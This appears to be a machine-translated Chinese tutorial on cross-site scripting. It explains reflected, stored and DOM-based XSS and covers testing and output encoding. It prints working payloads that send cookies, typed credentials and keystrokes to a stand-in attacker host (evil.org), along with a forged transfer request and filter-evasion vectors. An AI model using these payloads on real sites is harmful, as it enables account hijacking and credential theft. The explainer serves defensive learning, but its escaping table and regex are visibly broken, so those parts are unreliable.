目录
定义
进行攻击以感染网站
受感染的网站攻击用户
统计和分析
跨站点脚本攻击的类型
反射式(非持久性)XSS
存储(持久)XSS
基于 DOM 的攻击
跨站点脚本 (XSS) 示例
1. 会话劫持
2. 冒充当前用户
3. 网络钓鱼攻击
4.捕获击键
XSS 攻击的后果是什么?
常见问题
什么是 XSS 有效负载?
什么是 XSS 过滤?
什么是 XSS 多语言?
XSS有哪些危险?
XSS和SQL注入有什么区别?
XSS和CSRF有什么区别?
XSS和XSSI有什么区别?
定义
跨站点脚本(通常缩写为 XSS)是一种攻击类型,其中恶意脚本被注入网站和 Web 应用程序中,以便在最终用户的设备上运行。在此过程中,未经审查或未经验证的输入(用户输入的数据)用于更改输出。
一些XSS攻击没有特定的目标;攻击者只是利用应用程序或站点中的漏洞,利用任何不幸成为受害者的人。但在许多情况下,XSS 是以更直接的方式执行的,例如在电子邮件中。XSS 攻击可以将 Web 应用程序或网站变成向毫无戒心的受害者的 Web 浏览器传递恶意脚本的载体。
XSS攻击可以利用一系列编程环境中的漏洞,包括VBScript,Flash,ActiveX和JavaScript。大多数情况下,XSS以JavaScript为目标,因为该语言与大多数浏览器紧密集成。这种利用常用平台的能力使XSS攻击既危险又常见。
跨站点脚本的工作原理
有了什么是跨站点脚本攻击的想法,让我们看看它是如何工作的。
想象一个人坐在电脑前。屏幕在右下角显示文件管理器、文本编辑器、电子表格和音乐播放器图标。到目前为止,一切都是普通和熟悉的。但是这张照片中缺少一些东西 - 一个同时打开数十个选项卡的互联网浏览器。
这些标签充满了有趣的标题、有趣的视频、体育用品广告、在线商店和一个支付网站,其中包含一张刚刚支付的超速罚单收据。所有这些网站都有一个共同点:如果没有JavaScript,它们几乎是不可能的。
然后,只需单击广告横幅即可触发另一个页面。该页面包含一个脚本,该脚本连接到网上银行站点,并悄悄地将资金从用户帐户转移到攻击者的卡上。委婉地说,相当不愉快。幸运的是,由于同源策略(SOP),浏览器消除了这种可能性。此策略可确保在网页上执行的脚本无法访问错误的数据。如果脚本是从其他域加载的,浏览器将无法运行它们。
这能保证一个幸福的结局吗?
如果是这样,这篇文章就不会存在。网络犯罪分子使用各种方法来绕过 SOP 并利用应用程序漏洞。成功后,它们使用户的浏览器在给定页面上执行任意脚本。
进行攻击以感染网站
源策略应该仅在脚本从与用户当前正在查看的页面相同的域加载脚本时才允许脚本。实际上,攻击者无法直接访问负责浏览器显示页面的服务器。那么攻击者是如何做到的呢?
应用程序漏洞可以通过使攻击者能够在页面内容中嵌入片段和恶意代码来帮助攻击者。
例如,典型的搜索引擎在显示搜索结果时会回显用户的查询。如果用户尝试查找字符串
该怎么办?搜索结果页的内容是否会导致执行此脚本,是否会出现消息“1”的对话框?这取决于 Web 应用程序开发人员验证用户输入并将其转换为安全格式的程度。
主要困难在于用户运行各种各样的浏览器版本,从最新的 pre-alpha 版本到不再受支持的版本。每个浏览器处理网页的方式略有不同。在某些情况下,当输入未被充分过滤时,XSS 攻击可能会非常成功。因此,XSS攻击的第一步是确定如何在网页上嵌入用户数据。
受感染的网站攻击用户
第二步是攻击者诱使用户访问特定页面。攻击者还需要将攻击向量传递到页面。再说一遍,这里没有任何内容构成严重障碍。网站通常接受数据作为 URL 的一部分。为了实施攻击媒介,攻击者可以使用各种社会工程或网络钓鱼方法。
以下示例代码在服务器的响应中仅显示这样的字符串(由用户在 HTTP 请求中传递):
protected void doGet(HttpServletRequest request, HttpServletResponse resp) {
String firstName = request.getParameter("firstName");
resp.getWriter().append("< div> ");
resp.getWriter().append("Search for " + firstName);
resp.getWriter().append("div > ");
}
该代码处理在用户请求中传递的第一个 URL 参数的值。然后,它会在生成的网页上显示参数。开发人员似乎不希望在 firstName 参数中看到没有 HTML 标记的纯文本以外的任何内容。如果攻击者发送请求“http://very.good.site/search?firstName= ”,则最终页面将如下所示:
< div>
Search for < script> alert ( 1 ) < / script>
< / div>
您可以轻松检查,当此 HTML 片段加载到用户浏览器中的网页上时,是否执行了在 firstName URL 参数中传递的脚本。在这种情况下,恶意 JavaScript 是在易受攻击的服务器的上下文中执行的。因此,脚本可以访问域的 Cookie 数据、其 API 等。当然,攻击者会以一种隐藏他们在用户查看页面上存在的方式开发实际载体。
统计和分析
根据Positive Technologies的分析,XSS是三种最常见的Web应用程序攻击之一。与其他攻击类型相比,XSS的相对百分比在前几年有所下降。尽管如此,XSS仍然没有失去人气的迹象。
为什么XSS仍然在列表的顶部附近?考虑易受攻击的网站数量。正如我们在 2019 年报告中详述的那样,超过三分之二的测试网站存在 XSS 漏洞。 XSS最常针对的行业是酒店和娱乐(33%),金融(29%),教育和科学(29%)以及运输(26%)。IT(16%)和政府(16%)也受到影响,但程度不同
跨站点脚本攻击的类型
大多数XSS攻击可以分为三类:
反射(非持久)。攻击媒介的载体是当前客户端 HTTP 请求。服务器返回包含攻击媒介的响应。本质上,服务器反映了攻击。
存储(持久)。攻击媒介位于服务器端。(我们将在本文后面讨论它是如何到达那里的。
基于 DOM 的 XSS(文档对象模型)。攻击媒介位于客户端。利用主要是由于JavaScript代码内部数据处理的缺陷。
还存在一些其他类别,尽管它们不那么频繁地出现。它们包括:
基于闪存的 XSS。此漏洞来自 Flash 应用程序中对用户输入的处理不足。
XSSI.托管在外部域和服务器上的资源容易受到攻击。 浏览器漏洞也可能导致 XSS 风险,例如:
uXSS(通用XSS)。此漏洞允许绕过 SOP 从一个站点在另一个站点上执行 JavaScript。
mXSS(Mutation XSS)。攻击者通过将带有“JavaScript ([element] .innerHTML =% value%”或“document.write (% value%))”的 HTML 有效负载放入 DOM 来绕过过滤,以便将其从安全更改为潜在危险。
反射式(非持久性)XSS
在反射式 XSS 中,攻击媒介位于服务器处理的 HTTP 客户端请求内。如果服务器的请求和响应在语义上相关,则服务器的响应由请求数据形成。例如,请求可以是搜索查询,响应可能是结果页。
如果服务器在处理 HTML 转义序列方面做得不好,则会出现反射 XSS。在这种情况下,服务器端显示的页面将导致 JavaScript 在服务器的上下文中执行,这是原始攻击媒介的一部分。
反射式(非持久性)XSS 示例
下面是代码易受攻击的代码 below.to 反射 XSS 的示例:
protected void info ( HttpServletResponse resp, String info) {
resp. getWriter ( ) . append ( "Info " ) ;
resp. getWriter ( ) . append ( info) ;
}
存储(持久)XSS
当攻击媒介包含用户请求中未提供的 JavaScript 时,会发生此类应用程序漏洞。相反,JavaScript 代码是从服务器(如数据库或文件系统)下载的。
应用程序可能允许您保存来自不受信任源的数据,然后使用此数据生成对客户端请求的服务器响应。再加上对HTML转义序列的处理不力,这为存储的XSS攻击提供了机会。
想象一个人们定期交流的在线论坛。如果应用程序易受攻击,攻击者可以发布包含嵌入式 JavaScript 的消息。该消息将保存在系统数据库中。之后,有问题的脚本将由阅读攻击者发布的消息的所有用户执行。
存储(持久)XSS 的示例
利用存储的 XSS 漏洞的代码示例:
protected void doGet ( HttpServletRequest rq, HttpServletResponse resp) {
String name = rq. getParameter ( "NAME" ) ;
StringBuffer res = new StringBuffer ( ) ;
String query = "SELECT fullname FROM emp WHERE name = '" + name + "'" ;
ResultSet rs = DB . createStatement ( ) . executeQuery ( query) ;
res. append ( "") ; while ( rs. next ( ) ) {
res. append ( " ") ; }
res. append ( " Employee
") ;
res. append ( rs. getString ( "fullname" ) ) ;
res. append ( "
" ) ;
resp. getWriter ( ) . append ( res. toString ( ) ) ;
}
在这里,从数据库中读取数据,并在没有客户端验证的情况下传递结果。如果存储在数据库中的数据包含 HTML 转义序列(包括 JavaScript),则数据将传递到客户端并由浏览器在 Web 应用程序的上下文中执行。
基于 DOM 的攻击
上面描述的两种类型的XSS漏洞有一些共同点:嵌入JavaScript的网页是在服务器端形成的。但是,现代 Web 应用程序中使用的客户端框架允许在不访问服务器的情况下更改网页。可以直接在客户端修改文档对象模型。
此漏洞背后的主要前提保持不变:具体而言,HTML 转义序列的处理实现不佳。这导致攻击者控制的JavaScript出现在网页的文本中。然后在服务器上下文中执行此代码。
基于 DOM 的攻击示例
以下是利用此类漏洞的代码:
< div id= "message-text" > This is a warning alert< / div>
HTML 代码有一个带有“消息文本”标识符的元素,这意味着它用于显示消息的文本。然后由以下 JavaScript 函数修改 DOM 树:
function warning ( message) {
$ ( "#message-text" ) . html ( message) ;
$ ( "#message" ) . prop ( 'style' , 'display:inherit' ) ;
}
该脚本使用 html() 函数显示消息,该函数不会清理 HTML 转义序列。因此,这样的实现是脆弱的。例如,可以将以下内容传递给此函数:
< script> alert ( "xss" ) < / script>
在这种情况下,脚本将在服务器上下文中执行。
跨站点脚本 (XSS) 示例
在我们讨论具体的例子之前,我们还应该指出一个重要的区别。一些XSS攻击旨在仅获取一次信息。在这些情况下,受害计算机执行恶意脚本并将被盗信息发送到攻击者控制的服务器。
但是,其他攻击侧重于通过以下方式重复利用: 劫持用户会话并登录帐户以收集信息。 网络钓鱼并使用用户名和密码登录帐户。 更改受害者的密码。当应用程序允许更改或重置密码而无需输入旧密码(或一次性代码)时,这是可能的。 当受害者有权创建新的特权用户时。 植入 JavaScript 后门。为此,受害者需要有权编辑页面内容。如果受害者具有必要的权限,这也可能涉及在经常访问的页面上存储 XSS。 利用受害者权利的应用程序攻击针对WordPress(通过管理面板中的模板/插件编辑器远程执行代码[RCE])和Joomla(通过下载任意文件进行RCE)。
正如我们所看到的,XSS允许在易受攻击的Web应用程序的上下文中执行JavaScript。但与SQLi,XXE,AFR等不同,JavaScript脚本是在最终用户的Web浏览器中执行的。XSS 攻击的主要目标是访问用户的资源。让我们看一下此类攻击的几个示例。
1. 会话劫持
想象一下以下场景。用户打开浏览器并转到网上银行页面。系统会提示用户使用其用户名和密码登录。显然,用户的后续操作应被视为合法。但是,如何在不要求用户在每次点击后登录的情况下验证这种合法性呢?
幸运的是,对于用户来说,有一种方法可以做到这一点。身份验证成功后,服务器将生成一个字符串,用于唯一标识当前用户会话。此字符串以 cookie 数据的形式在响应标头中传递。以下屏幕截图显示了服务器响应的示例,其中会话 cookie 称为 JSESSIONID: 在随后访问服务器时,cookie 数据将自动包含在请求中。服务器将使用这些数据来确定请求是否来自合法用户。当然,会话 cookie 的安全性变得至关重要。任何对此信息的拦截都将使冒充合法用户成为可能。
将会话 Cookie 数据传输给攻击者的经典方法之一是将 HTTP 请求从用户的 Web 浏览器发送到攻击者控制的服务器。在这种情况下,请求由嵌入在易受攻击的网页上的 JavaScript 生成。然后,Cookie 数据将在此请求的参数中传输。攻击媒介的一个示例如下:
< script> new Image ( ) . src= "http://evil.org/do?data=" + document. cookie; < / script>
在此示例中,用户的 Web 浏览器在 DOM 模型中创建一个图像对象。之后,它会尝试从 src 标记中指定的地址加载图像。然后,浏览器使用相应的 HTTP 请求处理程序将 cookie 数据发送到攻击者的站点:
@GetMapping ( value = "/do" , produces = MediaType. IMAGE_PNG_VALUE )
public @ResponseBody byte[ ] getImage ( @RequestParam ( name = "data" ) String data) throws IOException {
log. info ( "Document.cookie = {}" , data) ;
InputStream in = getClass ( ) . getResourceAsStream ( "/images/1x1.png" ) ;
return IOUtils. toByteArray ( in ) ;
}
在这种情况下,攻击者只需侦听传入连接,或者配置事件日志并从日志文件中获取 cookie 数据(稍后将对此进行更详细的描述)。
稍后,攻击者可以在自己的请求中使用会话 Cookie 数据来模拟用户。
2. 冒充当前用户
JavaScript是一种非常有能力的编程语言。攻击者可以将这些功能与 XSS 漏洞同时用作攻击媒介的一部分。因此,XSS不仅仅是获取关键用户数据的一种方式,它也可以是一种直接从用户浏览器进行攻击的方法。
例如,XMLHttpRequest 对象用于生成对 Web 应用程序资源的 HTTP 请求。此类请求可能包括通过 POST 请求生成和提交 HTML 表单,这些请求是自动的,通常不可见。这些请求可用于发送评论或进行财务交易:
< script>
var req = new XMLHttpRequest ( ) ;
req. open ( 'POST' , 'http://bank.org/transfer' , true ) ;
req. setRequestHeader ( 'Content-type' , 'application/x-www-form-urlencoded' ) ;
req. send ( 'from=A&to=B&amount=1000' ) ;
< / script>
通过利用此攻击媒介的 XSS 漏洞,恶意行为者可以将任何指定金额的资金转移到他们的帐户。
3. 网络钓鱼攻击
如前所述,XSS 可用于嵌入在网页中修改 DOM 模型的 JavaScript 脚本。这允许攻击者更改网站向用户显示的方式,例如通过创建虚假输入表单。如果易受攻击的 Web 应用程序允许修改 DOM 模型,则攻击者可以使用以下攻击媒介将虚假身份验证表单注入网页:
< h3> Please login to proceed< / h3> < form action= "http://evil.org/login" method= "post" > Username: < br> < input type= "username" name= "username" > < / br> Password: < br> < input type= "password" name= "password" > < / br> < br> < input type= "submit" value= "Logon" >
将显示以下表单然后出现在网页上: 用户在此表单中输入的任何凭据都将作为 POST 请求发送到 evil.org 攻击者网站:
4.捕获击键
利用XSS漏洞的机会不仅限于可执行脚本。如果攻击者拥有互联网服务器,则可以直接从中加载恶意脚本。攻击者可以部署以下脚本来捕获击键:
var buffer = [ ] ;
var evilSite = 'http://evil.org/keys?data='
document. onkeypress = function ( e) {
var timestamp = Date. now ( ) | 0 ;
var stroke = {
k: e. key,
t: timestamp
} ;
buffer. push ( stroke) ;
}
window. setInterval ( function ( ) {
if ( 0 == buffer. length) return ;
var data = encodeURIComponent ( JSON . stringify ( buffer) ) ;
new Image ( ) . src = evilSite + data;
buffer = [ ] ;
} , 600 ) ;
此处的脚本实现了一个击键拦截器,该拦截器将相应的字符和时间戳保存到内部缓冲区。它还实现了一个函数,该函数每秒两次将存储在缓冲区中的数据发送到 evil.org 攻击者服务器。
为了将此键盘记录器脚本嵌入目标网页,参与者可以使用以下攻击媒介:
< script src= "http://evil.org/js?name=keystrokes" >
漏洞利用触发后,用户在网页上的击键将被重定向到攻击者服务器: 屏幕截图显示了攻击者服务器上事件日志中的条目。在此示例中,用户在键盘上键入了“James”。这些记录显示以 JSON 格式显示的击键:字段“k”包含一个字符,字段“t”包含相应的时间戳
XSS 攻击的后果是什么?
从这些示例和攻击媒介中可以清楚地看出,对易受攻击的Web应用程序的成功XSS攻击为攻击者提供了非常强大的工具。借助 XSS,攻击者能够:
读取任何数据并通过模拟用户执行任意操作。此类行为可能包括在社交媒体上发帖或进行银行交易。
拦截用户输入。
污损网页。
将恶意代码注入网页。此类功能可能会让人联想到特洛伊木马,包括用于输入凭据或支付在线订单的虚假表单。
还可以利用跨站点脚本攻击以更间接的方式获得经济利益。例如,严重的XSS攻击可用于嵌入广告信息或通过DOM修改操纵互联网评级。
XSS 漏洞的风险级别
影响通常取决于 XSS 漏洞的类型(例如,存储或反映)、实现难度以及是否需要身份验证(可能不是每个人都可以访问相关页面)。
其他因素包括用户需要执行哪些其他操作(如果有);攻击是否可靠触发;以及潜在攻击者究竟可以获得什么。如果站点不包含私人信息(因为用户之间没有身份验证或区别),则影响很小。
Positive Technologies Security Threatscape将XSS分为三类:
低。需要授权的路由器或其他本地设备上的漏洞。这里的XSS需要特权用户权限,或者粗略地说,自XSS。由于攻击的难度相对较高,因此产生的影响很小。
中。在这里,我们指的是所有需要访问某个页面(社会工程)的反射和存储的XSS攻击。这更关键,影响更大,因为存储的XSS更容易被攻击者使用。但是由于用户仍然必须首先登录,因此关键性没有那么高。
高。在这种情况下,用户独立访问包含恶意脚本的页面。一些示例是个人消息、博客评论或登录后立即出现的管理面板中的 XSS(通过用户名在用户列表中或通过用户代理在日志中)。 网站可能存储了 XSS,从而导致高影响。但是,如果您需要一定级别的访问权限才能访问该站点,则影响将降低到“中”。
同样重要的是要提到,无论如何,影响取决于作者对关键性的评估——研究人员有自己的观点。XSS 漏洞的严重性可能很高,但通常它们的分数低于其他类型的攻击。
漏洞示例
以下示例来自 Positive Research 或 Positive Technologies 安全产品(如 MaxPatrol 和 PT Application Inspector)的自动检测。严重性级别是截至漏洞发布日期有效的级别。
研华网络访问: CVE-2015-3948
严重性级别:低
研华8.1之前的WebAccess版本允许通过经过身份验证的用户远程注入任意Web脚本或HTML。因此,攻击者可以获得敏感信息。
SAP NetWeaver Development Infrastructure Cockpit: CVE:未分配
严重性级别:中
在SAP NetWeaver Development Infrastructure Cockpit的nwdicockpit/srv/data/userprefs组件中检测到一个漏洞,通过该漏洞可以将恶意代码注入受害者的浏览器并执行。
Wonderware Information Server: CVE-2013-0688
严重性级别:高
Wonderware Information Server 中存在一个漏洞,使得攻击者能够将任意代码注入其他用户查看的网页中,或绕过 Web 浏览器中的客户端安全性。攻击可以远程发起,无需身份验证即可成功利用。
检测和测试 XSS
测试您自己的应用程序或您拥有源代码的应用程序的最佳方法是结合手动和自动技术。静态代码分析应该能够检测到许多 XSS 漏洞。
检测效果在很大程度上取决于扫描仪。不同的扫描仪在载体和技术上有所不同,因此有些扫描仪比其他扫描仪更可靠,但没有一个是完美的。例如,手动测试人员有可能找到黑盒扫描仪遗漏的问题。如果 想要 提高 自动 化 测试 覆盖 率, 可以 实现 灰 盒 / 白 盒 解决 方案 来 适应 黑 盒 方法。
要记住的另一个危险是误报的可能性。结合技术和工具将改善结果,但某些问题仍然需要手动工作来识别。 任何XSS漏洞分析器都需要JavaScript和HTML输入。如果解析器无法识别页面任何部分中的 JavaScript 代码,则此代码将无法正确传递给分析器。这意味着通过欺骗解析器,可以成功进行完全绕过扫描程序的XSS攻击。
Acorn 解析器无法识别的特定代码如下所示。 标记属性注入 :
< img bar= “entry”> 其中 entry 等于 > < svg/ onload= 'alert(1)' onLoad= “alert(1 );
函数注入:
< body onload= “think. oob(entry)”> 其中 entry 等于 )} 。{ 0 :promt(1
在这两种情况下,程序都没有在代码中发现潜在的XSS漏洞。我们可以得出结论,手动测试可能是最有效的方法——只要你知道自己在做什么。
测试不仅限于将“”注入文本框。试错是不可避免的。但是,如果您注入代码,检查生成的HTML页面,并查看更改向量后会发生什么,则肯定会找到一些东西。
您可以通过遵循类似的模式来覆盖许多潜在的攻击媒介:
1.首先寻找没有特殊字符过滤的地方(> <“’)。BurpSuite或Acunetix可以自动执行此过程。自动验证后,请确保手动检查对任何形式的文本输入的过滤。
下一步是分析项目的 JavaScript 代码。BlueClosure可以自动测试整个前端。消除可自动发现的漏洞后,请特别注意应用程序显示用户输入的位置以及传递到服务器的位置(随后保存到数据库)。
然后不仅要考虑 JavaScript 代码,还要考虑整个系统的所有部分。例如,某些元素涉及将用户输入数据转换为链接或其他超文本元素。在用户配置文件的网站字段中嵌入像“javascript: alert (1)”这样的链接是成功攻击中非常常见的媒介。任何将文本转换为 HTML 的解析器都可能为恶意代码打开大门。
特别注意以下要素:
Markdown 编辑器,允许用户向论坛帖子添加自定义 HTML 标记(包括恶意 JavaScript)
文本到表情符号转换器,可以被诱骗产生受感染的元素
将文本转换为链接的 URL 和电子邮件转换器
文本到图片转换器以及设置托管在第三方资源上的个人资料图片的能力
最常见的攻击媒介
为了更好地了解XSS漏洞,让我们分析每个主要的威胁媒介。 这是一个相对简单的XSS脚本。它可以作为外部脚本引用(外部有效负载)放置,也可以嵌入到脚本标记本身中。
标签
< ! -- External script -- >
< script src= http: / / evil. com/ xss. js> < / script>
< ! -- Embedded script -- >
< script> alert ( "XSS" ) ; < / script>
JavaScript 事件
另一个常用的向量是加载/错误事件。这些嵌入在许多不同的标签中。
< ! -- onload attribute in the < body> tag -- >
< body onload= alert ( "XSS" ) >
标签 攻击可以通过 JavaScript 事件(如前所述)或类似利用的标记属性在
标记内传递。
< ! -- background attribute -- >
< body background= "javascript:alert(" XSS ")" >
标记
浏览器还可以运行与
标签关联的 JavaScript 代码。
< ! -- < img> tag XSS -- >
< img src= "javascript:alert(" XSS ");" >
tag XSS using lesser- known attributes -- >
< img dynsrc= "javascript:alert('XSS')" >
< img lowsrc= "javascript:alert('XSS')" >
标签
如果
标记的类型属性中包含“image”,则可以对其进行操作。
< ! -- < input> tag XSS -- >
< input type= "image" src= "javascript:alert('XSS');" >
标签
标签支持嵌入式脚本,攻击者可以利用这些脚本。
< ! -- < div> tag XSS -- >
< div style= "background-image: url(javascript:alert('XSS'))" >
< ! -- < div> tag XSS -- >
< div style= "width: expression(alert('XSS'));" >
XSS 攻击预防和缓解
从技术角度来看,XSS是一个注入类漏洞,攻击者在浏览器中操纵Web应用程序的逻辑。因此,为了防止此类漏洞,需要彻底检查从外部进入应用程序的任何数据。为此,应用程序必须实现许多方法,我们在此处进行了介绍。
强制输入相同的数据类型
用户输入最初以字符串形式呈现。此数据应转换为指定类型的对象。此功能通常在框架级别实现,以便操作对用户透明。在以下 Java 代码中发生了这样一个透明的过程:
@GetMapping ( value = "/result" )
public void getJobResult (
@RequestParam ( name = "scan-id" ) Integer scanId,
@RequestParam ( name = "artifact" ) String artifact,
HttpServletResponse response) throws ServiceUnavailableException {
此示例显示 HTTP GET 请求处理程序的声明。它可以通过相对路径“/result”访问,并将两个必需的参数作为输入:整数扫描 id 和字符串工件。在请求的初始处理期间,框架执行确定输入正确性所需的操作。
如果类型不匹配,请求方甚至在控制权转移到应用程序代码之前就会看到错误消息。例如,如果 scan-id 参数包含非数字值,就会发生这种情况。
输入验证
在验证期间,将根据语法和语义标准检查输入数据。例如,可以使用正则表达式“{4}$”检查用户的出生年份的语法。此表达式验证字符串是否确实由四个(且仅四个)数字组成。一旦字符串被转换为数字,我们就需要检查语义:出生年份不应该是 1000 或 9876。
应用允许列表和阻止列表验证也很有意义。对于阻止列表,您需要定义某些不应在输入数据中找到的模式。
但是,阻止列表方法有许多严重的缺点。模式往往是不必要的复杂,很快就会过时。创建模式以涵盖恶意数据的所有可能排列绝非易事。开发人员将不可避免地发现自己难以赶上攻击者。这就是为什么应用允许列表来定义输入数据必须遵守的规则更有效的原因。
输出清理
无论前两种技术实现得如何(或未实现),防止XSS的关键操作是检查和转换输出数据。确保不受信任的数据不能传递到 HTML 文档非常重要。例外情况是数据仍需要遵循某些规则的某些上下文。这些规则必须确保 Web 浏览器将输出视为数据,而不是代码。这些上下文包括:
对于上述每种情况,您都应该应用单独的验证和转换规则。对于 HTML 元素的内容(例如 、
、
、
和类似标记),XML 和 HTML 特殊字符应替换为安全变体。将“&”改为“&”,将“<”改为“<”,将“>”改为“>”,将双引号改为“”“,将单引号改为”'“。
可以关闭 HTML 标记的“/”字符替换为“/”。例如,当在服务器端使用来自Apache Commons Text库中的StringEscapeUtils.escapeHtml4函数时,用户输入的数据是安全的,如下所示:
String data = "";
转换的结果将是字符串“alert(1)
”,浏览器不会将其解析为 HTML 转义序列。
LibProtection 库允许自动确定上下文和清理数据。此外,当输入数据包含攻击媒介时,该库可以发出信号。 例如,以下代码片段包含可以嵌入用户数据的三个点:
HTML 元素的值属性 (a)
JavaScript 参数的值 (b)
HTML 元素的内容 (c)
Response. Write ( $"{ b} ");return false">{c} " ) ;
假设攻击者已将以下变量作为输入传递:
a = 'οnmοuseοver=' alert ( `XSS` )
b = ") ; alert ( `XSS` )
c = < script> alert ( `XSS` ) < / script>
如果我们不检查输入,响应将如下所示:
< a href= '' onmouseover= 'alert(`XSS`)' onclick= 'alert("");alert(`XSS`)");return false' > < script> alert ( `XSS` ) < / script> < / a>
因此,攻击者可以通过三种不同的方式执行 XSS 攻击。LibProtection 以对开发人员透明的方式转换数据、确定上下文和应用规则:
Response. Write ( SafeString. Format< Html> ( $"{ b} ");return false">{c} " ) ) ;
生成的字符串将转换为:
< a href= '%27onmouseover%3d%27alert(%60XSS%60)' onclick= 'alert("\");alert(`XSS`)");return false' > & lt; script& gt; alert ( `XSS` ) & lt; / script& gt; < / a>
LibProtection 支持 C#、Java 和 C++,并允许清理输入以抵御其他类型的攻击。此保护扩展到基于 URL 和路径目录处理不当的 SQL 注入和漏洞。
常见问题
什么是 XSS 有效负载?
有效负载是用于利用漏洞的攻击媒介。如果代码中存在漏洞,攻击者发送的输入数据可能会被应用程序错误地用于修改应用程序的逻辑。在 XSS 的情况下,有效负载包含攻击者用来修改客户端浏览器逻辑的 JavaScript 指令。
什么是 XSS 过滤?
XSS 过滤会阻止 XSS 攻击中使用的攻击。在筛选期间,数据将经过检查、标准化(从字符串强制转换为给定类型的对象)以及语法和语义验证。处理完数据后,会对其进行清理并检查其正确性。这可以防止浏览器将输出解释为 JavaScript。
什么是 XSS 多语言?
如清理部分所述,验证输入数据的原则因使用此数据的上下文而异。利用XSS漏洞的攻击媒介也是在考虑此上下文的情况下形成的。XSS 多语言是一种复杂的攻击媒介,旨在同时在多个上下文中使用,例如在 URL、HTML 元素的内容和 JavaScript 中。
XSS有哪些危险?
XSS的主要危险在于它可以授予恶意参与者与目标几乎相同的功能。XSS 如果成功,则允许在 Web 应用程序中执行用户可用的所有操作。其中包括执行金融交易和发送消息。XSS 可用于捕获用户键盘上的击键并将其传输给攻击者。这为恶意行为者提供了充足的后续攻击机会。
XSS和SQL注入有什么区别?
主要区别在于 XSS 中的目标是最终用户,而 SQL 注入修改了服务器端数据库查询的逻辑。
XSS和CSRF有什么区别?
跨站点请求伪造 (CSRF) 是一种攻击,其中恶意参与者旨在在客户端执行特定的 URL 请求。这可能意味着更改密码或执行事务。但是,随着XSS的成功利用,攻击者可以通过执行任意客户端JavaScript脚本来做更多的事情。由于攻击者可以在执行请求时模拟客户端,因此 XSS 具有更大的危害可能性。
XSS和XSSI有什么区别?
XSSI 漏洞利用同源策略,该策略确定位于不同源上的文档、资源和脚本是否可以相互交互。此策略完全不限制脚本的使用;攻击者的网页可以链接到受害者网站上的脚本。在这种情况下,此脚本可能是动态生成的并存储关键信息。当用户访问攻击者的站点时,攻击者可以使用此信息。
求关注 求关注 求关注 求关注
你可能感兴趣的:(十万个为什么,xss,安全,前端)
希音(Shein)前端开发面试题集锦和参考答案
大模型大数据攻城狮
arcgis webpack 前端攻击 xss csrf react 前端面试
用Node写过什么工具或npm包在实际开发中,使用Node编写过多种实用工具和npm包。自动化构建工具开发了一个简单的自动化构建工具,用于处理前端项目的资源压缩和合并。在前端项目中,为了优化性能,需要对CSS和JavaScript文件进行压缩,减少文件体积,同时将多个小文件合并成一个大文件,减少HTTP请求。这个工具使用Node的fs模块进行文件的读写操作,通过terser库对JavaScript
Redis
任璐
redis 数据库 缓存
1.Redis简介简单来说redis就是一个数据库,不过与传统数据库不同的是redis的数据是存在内存中的,所以存写速度非常快,因此redis被广泛应用于缓存方向。另外,redis也经常用来做分布式锁。redis提供了多种数据类型来支持不同的业务场景。除此之外,redis支持事务、持久化、LUA脚本、LRU驱动事件、多种集群方案。2.我们为什么要用redis/为什么要用缓存呢?主要从“高性能”和“
使用Python构建去中心化社交网络:打破信息垄断的新思维
Echo_Wish
Python! 实战! python 去中心化 网络
使用Python构建去中心化社交网络:打破信息垄断的新思维大家好,我是你们的技术伙伴Echo_Wish。今天,我们来探讨如何使用Python构建一个去中心化的社交网络。在这个以数据为王的时代,中心化平台掌控着大量用户数据,这不仅对隐私保护带来挑战,也容易形成信息垄断。而去中心化的社交网络,通过分布式技术,将数据的控制权交还用户,打破信息垄断,提升隐私安全性。本文将详细介绍如何使用Python实现这
(视频演示)基于OpenCV的实时视频跟踪火焰识别软件V1.0源码及exe下载
是刃小木啦~
opencv 人工智能 计算机视觉
本文介绍了基于OpenCV的实时视频跟踪火焰识别软件,该软件通过先进的图像处理技术实现对实时视频中火焰的检测与跟踪,同时支持导入图片进行火焰识别。主要功能包括相机选择、实时跟踪和图片模式。软件适用于多种场合,用于保障人民生命财产安全。源码及exe文件可通过蓝奏云网盘下载。软件简介《基于OpenCV的实时视频跟踪火焰识别软件》是一款创新的计算机视觉应用软件,旨在通过先进的图像处理技术实现对实时视频中
【yolov8】模型导出----pytorch导出为onnx模型
栗子风暴
YOLO pytorch 人工智能 深度学习
【yolov8】模型导出一、为什么要使用yolo的导出模式二、确保安装必要的库:三、yolov8模型导出3.1不同格式配置参数3.2导出格式四、导出模型性能优化4.1使用TensorRT导出模型有什么好处?4.2导出YOLOv8模型时,如何启用INT8量化?4.3为什么输出模型时动态输入尺寸很重要?4.4优化模型性能需要考虑哪些关键的导出参数?五、问题六、疑问训练模型的最终目标是将其部署到实际应用
DeepSeek本地部署教程(Windows操作系统笔记本电脑适用)
程序员辣条
AI产品经理 产品经理 大模型 人工智能 DeepSeek Windows AI大模型
最近DeepSeek非常火,你想不想也本地部署,玩转AI呢?一、将DeepSeek部署到自己的电脑有以下好处:1.数据隐私与安全本地存储:所有数据保存在本地,避免第三方服务器存储带来的隐私风险。数据控制:完全掌控数据访问权限,防止未经授权的访问或泄露。2.性能优化低延迟:本地运行减少网络延迟,响应速度更快。资源利用:可根据硬件配置优化性能,充分利用本地计算资源。3.定制化灵活配置:可根据需求调整模
llama_deploy
伊织code
# 文档翻译 llama llama_deploy llamaindex
本文于240924翻译整理自:https://docs.llamaindex.ai/en/stable/module_guides/workflow/deployment/文章目录一、关于`llama_deploy`为什么使用`llama_deploy`?等等,`llama-agents`在哪里?二、入门1、安装2、高级部署3、部署核心系统4、部署工作流5、与部署交互6、部署嵌套工作流三、一个`l
OpenCV 100道面试题及参考答案(7万字长文)
大模型大数据攻城狮
大厂面试 大厂面经 android面试 计算机视觉 opencv 实时互动 webrtc
OpenCV简介OpenCV(OpenSourceComputerVisionLibrary)是一个开源的计算机视觉库,它提供了丰富的函数和工具,用于处理图像和视频。OpenCV最初由英特尔公司开发,现在由一个开源社区维护和发展。主要功能和用途OpenCV的主要功能包括图像和视频处理、特征提取、目标检测、人脸识别、物体跟踪等。它可以用于各种领域,如机器人技术、医学影像、安全监控、自动驾驶等。在图像
Windows零门槛部署DeepSeek大模型:Ollama+7B参数模型本地推理全攻略
zxg45
AI大模型 deepseek 硅基流动 AI大模型
一、为什么选择Ollama+DeepSeek组合?1.1DeepSeek模型的三大核心优势中文语境霸主:在C-Eval榜单中,7B参数版本以82.3%准确率超越Llama2-13B6硬件友好:Int4量化后仅需5.2GB存储空间,GTX1060即可运行多模态扩展:支持与StableDiffusion联动生成图文报告1.2Ollama的颠覆性价值相较于传统部署方式,Ollama带来三大突破:开箱即用
